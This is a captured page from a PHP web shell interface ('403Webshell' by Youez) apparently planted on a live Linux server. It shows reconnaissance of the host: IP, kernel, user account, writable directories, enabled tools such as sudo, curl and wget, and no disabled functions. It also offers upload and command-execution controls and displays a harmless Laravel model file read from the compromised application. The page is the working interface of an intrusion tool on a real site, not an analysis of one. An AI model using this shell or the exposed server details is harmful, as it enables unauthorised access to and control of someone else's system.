403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.10
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/silversharkadmindev/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/silversharkadmindev/app/Models/Website.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Website extends Model
{
    use HasFactory;

    protected $fillable = ['user_id','prompt_id', 'title', 'path', 'is_temp','stripe_subscription_id','cancelled_stripe_subscription_id','next_payment_date','is_cancellation_requested','server_meta'];

    public function user()
    {
        return $this->belongsTo(User::class);
    }
    public function plan()
    {
        return $this->belongsTo(PricingPlan::class,'active_plan_id');
    }

    public function websiteArchiveRequestsCount($website_id)
    {
        $count = WebsitesArchiveRequest::where("website_id", $website_id)->count();

        return $count;
    }
    public function latestCompleteWebsiteArchiveRequest($website_id)
    {
        $request = WebsitesArchiveRequest::where("website_id", $website_id)->where("status","completed")->orderBy("id","desc")->first();

        return $request;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit